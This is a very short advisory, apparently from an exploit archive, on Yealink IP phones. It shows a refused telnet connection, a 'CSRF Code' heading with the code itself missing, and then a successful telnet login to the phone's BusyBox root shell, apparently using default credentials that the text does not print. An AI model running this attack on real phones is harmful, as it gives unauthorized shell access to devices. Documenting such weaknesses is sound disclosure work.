YeaLink IP Phone SIP CSRF / Default Credentials
:~# telnet 10.10.1.136 Trying 10.10.1.136... telnet: Unable to connect to remote host: Connection refused :~# CSRF Code :~# telnet 10.10.1.136 Trying 10.10.1.136... Connected to 10.10.1.136. Escape character is '^]'. IPPHONE login: Password: BusyBox v1.6.1 (2010-10-08 16:43:22 CST) Built-in shell (ash) Enter 'help' for a list of built-in commands. $